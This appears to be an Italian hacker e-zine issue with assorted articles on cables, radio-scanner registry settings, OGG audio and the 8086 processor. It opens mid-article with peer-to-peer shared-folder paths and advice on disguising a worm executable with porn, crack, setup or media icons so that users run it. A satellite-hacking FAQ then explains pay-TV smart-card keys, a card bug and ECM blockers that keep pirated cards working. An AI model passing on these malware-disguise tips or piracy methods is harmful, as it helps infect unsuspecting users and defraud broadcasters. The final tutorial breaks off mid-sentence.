Grokster \WinMX\My Shared Folder \Tesla\Files \Overnet\Incoming \XoloX\Downloads \Rapigator\Share \ICQ\Shared Files \AppleJuice\Incoming 4)Quando compilate il file del worm non usate l'icona di default ma una correlata al nome del file che avete usato per il worm. Per capirsi: Applicazioni Usate un'icona che sembri quella di un file di setup Pornazzi Un icona porno (buone quelle dei dialer...scaricatene uno, NON LO ESEGUITE ovviamente, ma estraete l'icona con un prog apposta) Crack Un icona del self-extractor di WinZip o WinRar Filmati Un icona di un file mpg o avi Musica Icone mp3 Ebook Icone per i PDF/DOC/TXT __c0d3r__ cod3r[at]gawab.com Linux Registered User #341146 (go to counter.li.org) +--------------------------------------------------------------[open the file]-+ |[ REPARTO SAT ] | |-- Hacking Satellitare | |-- Alkimista | | _________________________________________________________| |____________________/ *** Premetto solo che questo documento non vuole essere un insegnamento dato che è solo un resoconto di tanti giorni, mesi e posso anke dire anni passati nel mondo dell' Hacking Sat (ma si mette l'apostrofo davanti ad H??) e quindi questa possiamo solo definirla una breve Faq su come stanno attualmente e veramente le cose nel mondo dell'Hacking Satellitare;e soprattutto vuole essere una sconfitta alle bufale e alle barzellette che molti si divertono a raccontare su cose inesistenti prendendosi gioco dei meno esperti sul campo... odio queste persone perchè io stesso molte volte perdo del tempo per fare accertamenti su queste notizie a discapito magari delle notizie vere! *** Allora partiamo dal fatto che la maggior parte di voi conosca l'hacking sat come fosse solo un modo per vedere pornazzi o film da prima visione a scrocco.... NON è assolutamente così.... e non è neppure vero chè il tipo che fà le schede tarocche per guadagnare un po' di grana facendo pagare per esempio una vecchia scheda D+ 200 Euri quando una Waffer in realta costa solo 1 euro e 20 cent.....bè..quello non è un Hacker quello è un gran pezzo di merda! L'Hacker che si intende di Sat è uno come me che la mattina siede ai banchi di scuola con gli occhi gonfi perchè la notte è andato a letto alle 4:30 per loggare tutto quello che la scheda passava al decoder, per riuscire a mettere in chiaro quelle 3 maledette chiavi da passare sotto un qualche editor per file .hex di modo da farlo girare nella memoria eprom della scheda che puntualmente per qualche difetto firmware non dava la luce... e allora ridagli sotto... fino a quando ad un certo punto nella camera a finaco non senti qualcuno dei tuoi che bestemmia in turco per il tuo urlo di gioia quando il decoder finalmente da la luce...a quel punto li dopo quella gioia ti puoi reputare un Hacker Satellitare... Ops..mi correggo, ti POTEVI reputare! E si, perchè oggi le cose sono cambiate, la protezione è più alta i sistemi sono cambiati, non c'è più la "pappa pronta", e ora qui si differenziano i veri Hacker dai soggetti che cercano solo di fare i fighi invitando gli amici a vedere le partite di calcio a casa... Ormai si può dire che tutte le codifiche vecchie ( quelle che non sono seguite dal numero "2" per intenderci) sono svanite, e oramai il dominio ce lo hanno le 2 codifiche di Sky, cioè NDS e la fatidica Seca 2, a discapito delle vecchie ( ma intramontabili nel cuore) Seca Irdetto e altre meno diffuse che non stò neppure a citare... Comunque per chi stesse cercando di entrare nel settore satellitare solo ora, la cosa è complicata, più che suggerirvi di scaricare e studiare a fondo le migliaia di .doc e Faq presenti in rete non posso, perchè il fatto è che questa volta quel viscidone di Rupert Murdock c'è l'ha ben posta nel di dietro a tutti... Cmq noi del settore non demordiamo e continuiamo nel nostro stile a passare nottate svegli di fronte a stringhe di Nano e INS da capogiro, tanto da essere ormai rincoglioniti fino in fondo! Ma ora passiamo (visto che a me piace "il gruppo") ad un infarinatura generale su cosa sono e come funzionano le codifiche satellitari... *** Allora le codifiche satellitari sono la base delle cifrature dei dati che transitano e che vengono captati dalla parabola, passati al decoder che li filtra per poi passarli alla scheda che li decripta e li rende leggibili al decoder che a sua volta mette in chiaro i canali della Pay TV... quindi tornando all'altro lato della medaglia, basta trovare l'algoritmo per poter mettere in chiaro ciò che si vuole, in effetti si, ma il problema stà a trovarlo! Nel Seca quando ho iniziato lo studio satellitare l'algoritmo si conosceva di già, quindi avevo già i tool per poter leggere la scheda decriptandola e riuscendo a mettere in chiaro le Key che permettevano di compilare il file binario da montare sopra una scheda con caricato il firmware necessario per la codifica designata. Perchè c'è da sapere che ogni decoder ha una CAM, questa svolge l'attività di decrittaggio, per ciò a rigor di logica ogni codifica ha una CAM propria, e a sua volta ogni decoder ha una CAM, quindi per questa ragione per (quasi) ogni Pay TV (di un certo tono) si usa una codifica differente. Allora, adesso sapendo queste cose, l'hacker satellitare, impugna programmatori, microchip e con software specifici inizia a modificare e studiare sul firmware di ogni scheda originale, per poter poi decifrare l'algoritmo e poter riscrivere il firmware da montare su un'altra qualsiasi scheda che supporti un microchip di memoria! Ricordo che con le vecchie codifiche la cosa era al quanto semplice perchè l'algoritmo di cifratura si conosceva di OGNI codifica esistente, ora siamo nel bel mezzo di una rivoluzione dove stò riuscendo a capire con un gruppo affiatato di persone che gli orizonti del cervello umano sono vastissimi, visto che sfruttiamo ogni minima fesseria del firmware per poi allargare la cosa... per esempio io ora non sò esattamente se la codifica Seca 2 (quella maggiormente studiata per cercare di bucare la Pay TV di Sky) sia veramente inviolata, perchè siamo riusciti a trovare solo una pecca, solo un misero bug che però è servito per mandare avanti gli studi e riuscire ad aprire ormai completamente la scheda originale (RMOSC) l'unico problema è che questo bug subito notato è stato risolto quindi c'è solo un numero ristretto di schede originali su cui si può giocare con il bug delle V7 o sia quelle nuove bianche (cioè, sono quelle che vanno dal primo giorno che sono state inventate al 27 gennaio 2003, per intenderci da quelle spedite per posta ai vecchi abbonati sino a quelle degli abbonamenti effettuati sino al 27, che è la data in cui in termine tecnico è stato messo il "Cetriolo" ossia è stato corretto con l'introduzione di nuove schede il vecchio bug che gioca sulla scrittura delle INS c1 36 dando per risposta INS c1 38 che a sua volta ti danno informazioni per creare altre INS 36; infatti il bug è chiamato appunto "36/38". Quindi se prima conoscevate qualcazzone che sui vantava di poter vedere la TV a scrocco provate a chiederglelo ora, se ci riesce forse è un tipo in gamba (forse perchè qualche Lamer c'è sempre). C'è da dire che la cosa è anche al quanto difficile da compiere perchè le operazioni di settaggio sono tutte manuali e per ogni scheda diverse,ma consciamo un po' com'è formata la scheda. Una smart Card è formata da 2 parti di memoria: una prima parte in cui è situato il firmware contenente l'algoritmo criptato,e non modificabile visto che risiede in ROM; una seconda parte dove troviamo la memoria vera e propria che contiene tutte le informazioni riguardanti la scheda (Provviders attivi e rispettive implementazioni a riguardo). Ma non è semplice come credete, tutte le schede sono uguali ma diverse cioè hanno delle caratteristiche che le differenziano (come le impronte digitali), un identificazione: -UA:"Unique Address": è l'indirizzo univoco della carta, lungo 4 bytes (numero seriale della carta espresso in esadecimale). -PPUA:"Provider Unique Address": è un indirizzo univoco, ma relativo ad un singolo provider presente sulla carta; ogni carta a dunque tanti PPUA quanti sono i provider presenti su di essa ( i provider sono come i gestori come D+,Stream, sky,ecc). -SA:"Shared address": sono i primi 3 bytes del PPUA, un indirizzo di gruppo utile ai gestori per inviare dei parametri ad un gruppo di carte (max 256) che condividono tale indirizzo. -CWP:"Customer Pointer": è l'ultimo byte di una PPUA, serve a distinguere in un gruppo di carte identiche per il SA quale dovrà eseguire un comando inviato dal gestore. -MK00:"Management Key": è doversa per ogni provider e duncue serve appositamente per firmare i comandi di gestione diretti ad un singolo provider di una singola carta. -MK01:"Management Key": ne esiste una per ogni provider attivo nella carta (uguale in tutte le carte che hanno lo stesso SA, viene usata per inviare i comandi di aggiornamento delle OPK. -OPK:"Operational key": Rappresentano le chiavi di volta del sistema e vengono per tanto aggiornate periodicamente, le carte che non hanno le OPK aggiornate di logica non possono accedere alla Pay TV. -DATA: è la data di fine diritti riferita dal provider ed espressa su 2 bites. -PBM:"Pakage Bitmap": indica qualchi canali tra tutti saranno resi visibile dal provider (Decriptati). -AX,BX: Record associati alla Pay per view...... *** I comandi che vengono captati dalla parabola e filtrati dal decoder possono essere di 2 tipi: ECM (Entitlement Control Messages)= ovvero sono i messaggi di controllo per la verifica dell'abilitazione del servizio, ossia quelli che se hanno come risposta dalla carta un valore negativo ti segano la visione! EMM (Entitlement Menagement Messages)= ovvero i messaggi addetti alla gestione del database della carta! Noi smanettoni per trovare dei difetti di firmware giochiamo su questi "messaggi" che inviamo noi stessi, dopo averli ben compilati, aspettando speranzosi una risposta positiva da parte della carta. Si, è proprio grazie a questi comandi messi sottoforma di INS che spediamo alla scheda per modificargli qualche cosuccia, firmandoli come se fosse lo stesso gestore a spedirgleli, e quindi in poche parole prendendo per il culo la carta e ottenendo ciò che ci serve! In ultimus volevo dirvi che non è tutto, perchè il gestore monitora continuamente la scheda, quindi anche se riusciamo a modificarla bisogna anche proteggerla, cosa che noi facciamo con un semplicissimo attrezzo che fà da intermediario tra la scheda e il decoder e quindi scrivendo un apposito firmware per impedire il passaggio degli ECM ( i messaggi cattivi) e caricandolo sul blocker riusciamo ad ottenere unqa buona protezione della carta. Tutto ciò che ho detto è solo una minima parte di ciò che riguarda l'hacking satellitare è solo un introduzione, un infarinatura generale di ciò che ormai è rimasto solo per un elitè microscopica di persone... spero dunque che, grazie a questo mio piccolo articoletto che funge solo da introduzione ad un mondo vastissimo, la passone vi assalga venendoci a trovare e imparando questa splendida "arte" che fà parte di un settore dell'hacking quasi sconosciuto! Con questo vi lascio e vi dico solo di guardarvi alle spalle da documenti che dicono un mucchio di cazzate... non fate i creduloni ma STUDIATE! +--------------------------------------------------------------[open the file]-+ |[ ELETTRONICA ] | |-- un cavo crossover fatto in casa | |-- Cyberdude | | _________________________________________________________| |____________________/ +-[Cyberdude TEXT]-+ |-[Menù]-----------| |-- Intro ---------| |-- Il necessario -| |-- Parte pratica -| |-- Glossario -----| |-- Conclusioni ---| +------------------+ -[Intro]------------------------------------------------------------------------ Salve a tutti ragazzi Sabato 13 dicembre 2003 … il natale è vicino e la voglia di bruciare tutti i libri di scuola è molto forte! Oggi vi parlerò di Elettronica; argomento del giorno : come realizzare un cavo crossover da soli. Adesso la totalità di voi che stanno leggendo sti quattro righi si dividerà in 2 parti : quelli che sanno cosa sia un cavo crossover e quelli che invece ignorano di cosa stia parlando. Non preoccupatevi vi riunisco io in un unico gruppo … il cavo crossover o anche cavo incorciato non è altro che un cavetto (penso questo l’abbiate capito) utilizzato per collegare due computer tramite porta Ethernet 10/100BaseT senza dover utilizzare un Hub! A questo punto sorge un altro problema quello che affligge i poveretti che con l’elettronica non hanno niente a che fare e che vogliono solo leggere questo articolo per puro scopo informativo!! Beh ragazzi a risolvere questi problemini vi allego più sotto un piccolo glossario con i termini più difficili che andremo ad utilizzare in questo text in modo che alla fine capirete tutti di cosa stiamo parlando. Ora mentre le vostre menti elaborano il succo di quello che i vostri occhi gli propinano leggendo questo “inguacchio” di parole … il risultato viene fuori sottoforma di 2 domande principali: 1. Perché devo fare qualcosa che posso comprare gia pronto in un negozio di elettronica? 2. Perché sto pazzo di cyberdude ha deciso di dedicarsi all’elettronica? Ragazzi la risposta è una ed è anche molto semplice, non si smette mai di imparare e poi è un mio sfizio!! Eheheh quindi come direbbe la mia prof di italiano, chi non è interessato è pregato di uscire, gli altri possono restare! Bene dopo questa “breve” introduzione ci accingiamo ora a proseguire nella “creazione” del nostro cavo!! -[Il necessario]---------------------------------------------------------------- Adesso analizziamo il vero problema eheheh cosa ci serve per portare avanti questo progetto? … dunque ci servono : - un normale cavo UTP - pinze - un pò di pazienza - stessa misurazione di passione - BASTA heheheh -[Parte pratica]---------------------------------------------------------------- E quindi la parte pratica… ehheeh infondo non è difficile dai! Basta farci un po’ la mano!! Dunque la prima cosa che andiamo ad osservare senza ombra di dubbio è lo spinotto RJ45 … ragazzi per chiarirci le idee basta che prendete un normale telefono e vedete il cavo che collega la cornetta al telefono stesso, il cavo RJ45 a differenza del cavo telefonico (che ha 4 contatti) ha 8 contatti anche se a noi interessano solo il 1,2,3,6 !!! La domanda che successivamente sorge spontanea è : come faccio io a sapere quali sono i contatti 1,2,3,6? Hehe giusto! È molto semplice, prendete il cavetto (potete staccarlo un attimo dal telefono) e mettete la linguetta (quella cosa che scatta quando l’inserite nella porta) verso l’alto … ora cominciate a contare indovinate quale sarà 1? Heheeh penso sia inutile dirvi che è il primo! Detto questo dopo aver individuato i contatti che ci interessano non bisogna fare altro che modificare l’ordine dei collegamenti di questi contatti! Vi riporto dunque un piccolo schema per semplificare la comprensione delle modifiche da attuare +-----[a]—[b]-+ |TX+ 1 1 | |TX- 2 2 | |RX+ 3 3 | |RX- 6 6 | +-------------+ TX+ a1 va collegato con RX+ b3 TX- a2 va collegato con RX- b6 RX+ a3 va collegato con TX+ b1 RX- a6 va collegato con TX- b2 Detto questo avete concluso la vostra opera eheheh il cavo è pronto per essere utilizzato! -[Glossario]-------------------------------------------------------------------- RJ45: Classica presa a otto poli che viene utilizzata per le reti su doppino. La presa si trova sia sulla scheda di rete sia sul concentratore (hub) a cui tale scheda deve collegarsi. Il doppino presenta ai due estremi spine che s'innestano direttamente nelle prese. Questo connettore, dotato di 8 fili, viene utilizzato anche per le schede Ethernet 10BASE-T, 100BASE-T o TockenRing Tipo 3 Doppino telefonico: Cavo telefonico standard costituito da due fili in rame avvolti in una treccia elicoidale in modo da evitare interferenze. La velocità massima raggiungibile su un doppino telefonico è di 1.5MBit/Sec con tecnologia ADSL, quindi in digitale; la velocità massima con connessione analogica è di 56.000 bit/Sec 10BaseT-100BaseT-10/100BaseT: Soluzione standard adottata da tutti i produttori hardware. Si riconosce dallo spinotto di tipo telefonico RJ45 (8 fili), solo leggermente più grande del tipo RJ11 (4 fili) utilizzato comunemente per la telefonia. Cavo Ethernet: cavo usato per trasmettere dati ad alta velocità in una rete locale (LAN, Local Area Network). I cavi possono essere a fibra ottica, coassiali e a doppino intrecciato. Il tipo di cavo Ethernet più comune, usato per Xbox, è CAT5e (categoria 5e) a doppino intrecciato. Hub: Chiamato anche "moltiplicatore di porte", l'hub consente di collegare più dispositivi ad una singola porta. Ad esempio, è necessario un hub per collegare più periferiche alla porta USB. UTP: Unshielded Twisted Pair: Il "doppino", cioè un cavo formato da due soli fili, senza schermatura, utilizzato nelle connessioni telefoniche o di rete. -[Conclusioni]------------------------------------------------------------------ Ragazzi io non so più che dirvi spero che questa mia perdita di tempo non sia stata solo una perdita di tempo!! Eheh ditemi che almeno una sola persona ha letto sto articolo ;) comunque se vi servono delucidazioni mi trovate in chan oppure mandate una mail a cyberdudeIL@libero.it !! detto questo vi saluto ciao a tutti Cyberdude [informazionelibera founder] – http://www.informazionelibera.tk - cyberdudeIL@libero.it +--------------------------------------------------------------[open the file]-+ |[ ELETTRONICA ] | |-- Radio scanner fatto in casa | |-- Cyber_ninja | | _________________________________________________________| |____________________/ .-=| Disclaimer Legale |=-. | Tutte le informazioni contenute in queto documento sono solo a scopo |informativo, quindi io non mi ritengo responsabile di cio che ne fate di |queste info, quindi se combinerete qualche casino la colpa e' solo vostra. \... .-=| Breve intro |=-. |Allora eccomi qui questo e' il mio terzo articolo, spero vi piaccia e vi |interessi, se volete mandarmi suggerimenti o critiche mandatemi una e-mail( il |mio indirizzo e' scritto sotto). In questo articolo vi spiegero' brevemente |come farvi un radio scanner con una scheda tv-radio, come aveva fatto biga che |pero', nn aveva detto come farlo sotto windows ma solo sotto linux. \... .-=| Saluti e ringraziamenti |=-. |Mi sembra doveroso salutare qualcuno (che sono un bel po') un saluto a: |BiGAlex, qwer, vianez, mR_bIs0n, ErAzOr, AMeno0101, LordScinawa, InTrip, |Greenbyte, The_Wizard, DuskDruid , Quasar , snake88, mantra, |reizzier e pytone. |Ma voglio dedicare il mio articolo ad una persona fantastica Tiziana, la |ragazza che amo e adoro. \... .-=|Cosa bisognera far per ascoltar le frequenze ke nn si sentono d normale?|=-. |Modificare il registro di sistema, ne piu' ne meno, se non sapete come fare nn |vi preoccupate ci penso io a dirvi tutto. \... .-=| Conoscere il registro |=-. |Per eseguire delle modifiche al registro di sistema e' indispensabile conoscere |almeno le basi |del registro, se conoscete gia il registo di sistema potete |passare avanti, altrimenti vi conisiglio di leggere qui sotto, questa sotto non |e' una vera e propia guida al registro poiche' ci sarebbe da dire molto, sono |delle nozioni fondamentali indispensabili per le modifiche da fare, ma torno a |ribadire e' propio na mini mini guida. |Il registro di sistema e' dove ci sono scritte tutte o quasi le impostazioni |del vostro windows, si avvia con un piccolo programmino chiamato "regedit" (che |e' presente in tutte le distribuzioni), che almeno nell windows 2000 si trova |nella cartella di winnt, se utilizzate un windows diverso provate a cercarlo |o fate esegui "regedit". |Il registro e' composto principalmente da chiavi e valori, le chiavi di |registro sono come delle cartelle che immagazinano dei dati le chiavi si |possono aprire cliccando sul "+" delle stesse, ogni chiave contiene delle |specifiche impostazioni, per esempio "HKEY_CLASSES_ROOT" e' dove si imposta |come far aprire al vostro sistema operativo, dei determinati file con delle |determinate estensioni, (per esempio i ".exe" cioe' gli eseguibili sono aperti |con uno |specifico prog). |II valori invece si visualizzano sulla destra e sono le ipostazioni vere e |propie del registro, provate a cliccare sul + di "HKEY_CLASSES_ROOT", poi su |".323", a destra visualizzerete i valori, le chiavi possono essere di tre tipi |stringa binarie e |dword (esadecimale), per modificare i valori delle chiavi cliccate col destro |sul nome e poi su modifica, in seguito potrete scrivere cio' che volete come |impostazioni. \... .-=| Radio scanner |=-. |Allora inizio col dirvi come e' nato il tutto, in pratica un giorno parlando |col mio amico BiGAlex (lol), mi ha detto che lui con una scheda tv-radio, |riusciva ad ascoltare molte frecuenze in piu' rispetto alle normali frecuenze |ascoltabili con una qualsiasi radio, |questo fatto mi incuriosi e allora appena ebbi l'occasione coprai una scheda tv |radio, ma sotto linux non andava, allora biga mi dono' un link in cui c'erano |dei driver x windows apposta per ascoltare piu' frecuenze, ma sfortunatamente |nn c'era la mia scheda e nemmeno altre marche con chip uguali alla mia, allora |pensai che c'era una sola cosa da fare cioe', cercare di trovare io stesso il |file in cui erano scritte le frecuenze minime e massime, quindi un file di |impostazioni. Inizio' la ricerca guardai dentro i driver e dentro moltissimi |file che sospettavo potessero contenere cio che interessava a me, la ricerca si |rivelo piu' difficile del previsto, dopo un po' che avevo provato tutti i file |che ritenevo sospetti, nn avevo piu' idee, e nn sapevo che fare, ad un certo |punto, dopo circa 2 giorni che mi ero quasi arreso mi venne l'idea , e pensai |dove si puo' configurare la scheda se nn nel registro di sistema, e pensai ma |che pirla che sono era cosi ovvio e nn ci ho pensato prima, allora avviai il |registro di sistema scrivendo "regedit" in esegui (che si trova nel menu avvio), |poi cercai premedo ctrl+f "fm" trovai molte chiavi di registro che nn mi |interessavano poi ad un certo punto, dopo molte chiavi di registro che nn mi |interessavano trovai quella guista cioe' |questa: HKEY_LOCAL_MACHINE\SOFTWARE\KWORLD\PC-TV FM\1.01.000\Dialog Control |dove: |KWORLD=e' la marca della scheda |PC-TV FM\1.01.000\Dialog Control=e' il programma utilizzato per la scheda e qui |trovai tutto cio che mi serviva. Da subito notai questi campi: |FM_Frequency= che era su 8800 e' la frequenza da cui parte la radio appena |accesa, pero su alcune marche serve anche a tarare la radio, quindi vi |consiglio di nn toccarlo perche si rischia che poi le frequenza nn sono + |giuste. FMMaxFreq=sarebbe la frecuenza massima a cui la vostra scheda va, |dovrebbe essere impostata a 10800, voi potete metterla a quanto volete (credo |che un 40000 basti), ma credo che dipenda da scheda a scheda la frecuenza |massima, la |mia al massimo va a 35000 circa. |FMMinFreq=frecuenza minima di solito deve essere impostata a 8800 voi la potete |mettere a quanto volete(basta metterla a 500 nn credo che ci sia niente piu' |sotto). |Quasi dimentivavo di dire che le frecuenze nel registro sono espresse in numeri |esadecimale, per trasformarli in decimali cliccate su decimali che dovrebbe |essere nella finestra di modifica sulla destra. Vi allego anche una immagine |del registro, che forse e' piu' chiara. \... .-=| Outro |=-. |Vi ricordo che la mia scheda e' una scheda della kworld, con un chip philips, |se ne avete una diversa nn vi resta che cercare come ho fatto io.Con cio ho |concluso spero di essere stato abbastanza chiaro, se avete dei dubbi mandatemi |una mail. \... .-=| Contatti |=-. | | | | irc.azzurra.org #multivac and #phreak | | Colgo l'occasione per ricordarvi che i miei articoli li troverete sempre in | Multivac. \... +--------------------------------------------------------------[open the file]-+ |[ DENTRO LA MACCHINA ] | |-- ogg a confronto | |-- Tailot | | _________________________________________________________| |____________________/ SPECIALE FORMATO OGG Meglio il formato OGG che una gallina domani. Esordisco con questa battuta per evidenziare una cosa: il formato OGG è l'ultimo nato (ma non è mica nato ieri!) dei formati audio. Scopo principale di questo formato è quello di sostituire l'MP3, in quanto coperto da copyright. OGG, invece, è stato pensato da Vorbis per essere libero, ruspante, insomma! Giacché si è dovuto pensare ad un nuovo sistema di compressione chi l'ha ideato ha fatto tesoro delle esperienze sull'MP3 e quindi ha cercato di migliorarlo. Il formato OGG è infatti dichiarato migliore del "vecchio" ma diffusissimo MP3. Ho voluto quindi approfondire la cosa, provando a convertire i WAV in OGG tramite Goldwave 4.23, che prevede questo nuovo formato. Il programma purtroppo non prevede opzioni di compressione e non mi è chiaro il bitrate che utilizza. L'opzione di salvataggio in questo formato indica solamente "Vorbis, 44100Hz, stereo". Ad ogni modo ecco la risposta in frequenza: [ vedi immagine gwogg.gif negli allegati ] Confronto con MP3 128kbit Il cedimento si verifica ad oltre 16.000 Hz, quindi la larghezza di banda è superiore ad un MP3 a 128kbit. Il diagramma mostra inoltre delle spurie sulla parte finale della gamma, di livello però trascurabile. La dimensione del file OGG però è superiore del 10-15% dell'equivalente MP3 a 128kbit. In realtà non è sempre così, infatti provando parecchi file ho notato che molti risultavano più compatti dell'MP3, altri più grossi. In media l'occupazione dei file OGG equivale quella degli MP3 a 128kbit. Altra sorpresa: convertendo un'onda sinusoidale in MP3 otteniamo la stessa onda, perfettamente costante. Se la convertiamo in OGG otterremo un'ampiezza fluttuante. Questa è l'ampiezza di un'onda a 440 Hz (il classico LA) in MP3: [ vedi immagine a440.gif negli allegati ] Come si vede l'ampiezza è costante. Questo è lo stesso LA in OGG: [ vedi immagine b440.gif negli allegati] L'ampiezza è visibilmente irregolare e questa caratteristica si mantiene pressoché costante per tutta la gamma. Ecco quindi le varie statistiche dell'onda MP3: [ vedi immagine mp3stat.gif negli allegati ] Riportano correttamente la potenza media come -6 dB. Ecco invece come appare la statistica sul file OGG: [ vedi immagine oggstat.gif negli allegati ] Qui l'ampiezza dell'onda presenta una certa "oscillazione d'ampiezza" (vedi Minimu RMS Power e Maximum RMS Power) per cui l'ampiezza media (Average RMS Power) è leggermente inferiore ai -6 dB teorici. Poca cosa, comunque. Probabilmente il formato OGG utilizza algoritmi frattali o cose del genere per scomporre/ricomporre l'onda, e questo provoca una sorta di "imprecisione". Ma non è detto che sia un lato negativo, anzi! In natura non esistono onde così perfette come quelle dei test, per cui ben difficilmente potremo notare il difetto, anzi, è possibile che questo algoritmo consenta un ascolto che "suona" più naturale. Ci vorrebbero ben altri test per valutare appieno la questione. Qualcuno penserà che io mi sia fermato qui, invece... Altro encoder Dato che l'encoder di Goldwave mi pareva scarno, ma forse anche perché il formato OGG non era ancora completamente "varato", ho cercato un altro encoder. Non so da dove è saltato fuori, ma mi sono trovato con un eseguibile denominato OGGDROP.EXE. Lanciandolo appare una finestrella con l'immagine di un pesce. Facendo il Drag & Drop di un WAV sulla finestrina, il file viene convertito in OGG. E' possibile impostare la qualità, da 128kbit a 350kbit. L'aspetto "poco serio" del programma mi ha fatto dubitare delle sue qualità, ma la prova... Ecco la risposta in frequenza a 128kbit: [ vedi immagine fogg.gif negli allegati ] Sono rimasto allibito: a 128kbit risposta piatta! Sulle prime ho creduto di aver sbagliato file ed aver preso l'originale WAV! Invece no! E' proprio il file OGG! C'è da dire che il discorso che ho fatto sull'ondulazione dell'onda per quanto riguarda Goldwave è presente anche in questo encoder, quindi si tratta di una caratteristica del formato OGG. +--------------------------------------------------------------[open the file]-+ |[ DENTRO LA MACCHINA ] | |-- Nei dintorni del microprocessore | |-- Unrelated | | _________________________________________________________| |____________________/ ¤ Disclaimer Questo tutorial nasce un pò per caso un pò per amore... le cose che andrò a spiegarvi risulteranno difficili alla maggior parte di voi se siete poco pignoli nella programmazione. Diciamo che non è tutta farina del mio sacco in effetti metterò miei propri studi fusi con il manuale del programmatore del mitico Peter Norton (Programmatore IBM) , per poi andare a finire su un altro libro universitario il quale ho a disposizione solo le fotocopie di 3 capitoli e quindi non ne conosco la provenienza. Alcuni espertoni si diranno ma il libro di Peter si ricorda quando mia nonna aveva 4 anni... beh le cose alla base non sono cambiate di molto e questa è la BASE.Signori quella che sto per spiegarvi è la vera logica del computer. Ah un piccolo fattarello prima di cominciare... quel manuale l'ho trovato tra i libri di scacchi vicino a quello di Carpov... e questo è un segno del destino. Diciamo che la discussione si verterà sui sistemi in generale anche se in primo piano come mezzo di confronto avremo sempre il sistema 80X86 della IBM. ¤ Nei dintorni del microprocessore... • Come comunica l'8086 » I formati dei dati dell'8086 • Come l'8086 indirizza la memoria » Indirizzi Segmentati • I registri dell'8086 » I registri di Transito » I registri di Segmento » I registri degli Offset » I registri dei Flag » Indirizzamento di memoria tramite registri • Come l'8086 utilizza le porte di I\O ¤ Come comunica l'8086 ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤ L'8086 interagisce con i circuiti circostanti in 3 modi principalmente: 1. Con l'accesso diretto e indiretto alla memoria In sostanza il mp (d'ora in poi mp = microprocessore) utilizza la memoria leggendo e scrivendo valori nelle locazioni di memoria. Le locazioni di memoria sono identificate da indirizzi numerici. Le stesse locazioni di memoria possono essere manipolate in due modi: accesso diretto tramite il controllore Direct Memory Access DMA o accesso passivo tramite i registriinterni del mp. Il DMA viene sfruttato dalle unità disco e porte di comunicazione (seriali...). Tutte le altre unità periferiche trasferiscono i dati da e per il computer tramite i registri del microprocessore. 2. Attraverso porte di I\O (Input\Output) Le porte di ingresso e uscita costituiscono il mezzo generale di comunicazione del mp con tutti gli altri circuiti, qualsiesi essi siano eccetto logicamente il cervello di tutto il meccanismo cioè la memoria. Le porte di ingresso e uscita come le locazioni in memoria hanno un indirizzo numerico e su di esse si possono ricevere e\o scrivere e\o inviare dati. Diciamo che gli indirizzi numerici assegnati da ogni computer variano dalle marche e dalla struttura del computer stesso. 3. Con segnali dati di interrupt (Interruzioni) Gli interrupt sono il mezzo per capire cosa viene all'esterno, sono i mezzi con cui tutti gli altri circuiti esterni al mp comunicano che è avvenuto qualcosa ( Esempio: pigio il tasto invio della tastiera)che richiede avvenga di risposta una certa azione. Benchè gli interrupt siano essenziali per l'interazione gra il mp e l'hardware esterno l'utilizzo dell'interrupt è utile anche in altri casi. (ma vedremo più in là verso la fine del tutor di cosa sto parlando) » I formati dei dati dell'8086 Abbiamo 2 tipo di dati i dati numerici e i dati carattere. Dati Numerici: L'8086 e altri possono lavorare con solo 4 formati di dati, tutti interi. Questi formati di dati si basano su due elemeti: il byte du 8 bit e la parola di 16 bit (2 byte), entrambi correlati alla capacità di elaborazione su 16 bit dell'8086.Il byte è l'unità fondamentale: quando l'8086 e altri si indirizzano alla memoria, i byte sono le sole unità indirizzate. In un singolo byte i mp possono lavorare con numeri positivi senza segno fra 0 e 255 (2 elevato all'ottava valori possibili). Se il numero reca un segno, questo può essere rappresentato da uno qualunque degli 8 bit, per cui il valore viene espresso dagli altri 7 bit. I valori così rappresentabili vanno quindi da -128 a + 127 -CAMPO- __________________________________________________________________________ Lunghezza | Segno | Decimale | Esadecimale | -------------------------------------------------------------------------- 8 No 0 a 255 00H a FFH 8 Sì - 128/0/+127 80H a 00H a 7FH 16 No 0 a 65535 0000H a FFFFH 16 Sì -32768/0/+32766 8000H a 0000H a 7FFFH 32 No 0 a 4294967295 000000000H a FFFFFFFFH 32 Sì - 2147483648/0/+2147483647 800000000H a 0(8V)H a 7FFFFFFFFH Sul libro mi dà questi valori ma la vostra calcolatrice per approssimazione vi dovrebbe dare tipo in quello a 2 byte 66051,015686274509803921568627451 e non 65535... ma diciamo che principalmente quelli della famiglia di questo circuito si fermano ai 32 bit. Come sappiamo ai giorni nostri sono un pò più avanzati ma vi lascio a voi il semplice calcolo. Ora infatti possiamo operare sui valori a 16 bit con o senza segno, detti anche parole (word). Le parole vengono memorizzate in 2 locazioni o byte adiacenti,col byte meno significativo (= di ordine basso) che precede quello più significativo o detto di ordine alto. Questo tipo di memorizzazione a rovescio è ciò che i moderni editor esadecimali ricompongono nella giusta direzione, ma vediamo in sostanza come si presenta la memorizzazione: Mentre la memoria dei PC è suddivisa in un gran numero di singoli byte a 8 bit, molte operazioni vengono eseguite su parole a 16 bit o + . Tali parole vengono poste in memoria entro 2 qualsiesi byte adiacenti. Il byte meno significativo della parola viene collocato nella locazione che ha l'indirizzo di memoria più basso, e quello più significativo nella successiva locazione, ovvero a un indirizzo più alto. A prima vista potrebbe sembrare l'opposto di quanto ci si aspetterebbe. Per la particolare collocazione dei byte in questo schema, tale tipo di memorizzazione vine anche chiamato "inverse" (a rovescio) -Indirizzi crescenti--> +-----+ +-----+ | 9C | | E6 | Valore della parola : E69CH |byte2| |byte1| 2 Byte ordine inverso +-----+ +-----+ +-----+ +-----+ +-----+ +-----+ | 4A | | 5B | | OO | | 12 | Valore della parola : 12005B4AH |byte4| |byte3| |byte2| |Byte1| 2*2 Byte ordine inverso +-----+ +-----+ +-----+ +-----+ Bisogna ricordare che quando si lavora con i byte e parole in memoria, non ci si deve fare confodere dalla memorizzazione inversa. Ripeto la maggior confusione deriva da questo modo obsoleto e dal modo in cui noi siamo abituati a scrivere dati. Per esempio una parola in esadecimale su carta vine scritta UNRE. L'ordine di significatività in esadecimale è lo stesso che in decimale: le cifre più significative sono scritte per prime. Una parola viene però collocata in memoria partendo dall'indirizzo più basso (ripeto) : e quindi appare scritta come ERNU, con i byte invertiti e non UNRE. Il ragionamento nell'interpretazione dei byte è semplice... riprendiamo quello a 16 e 32: 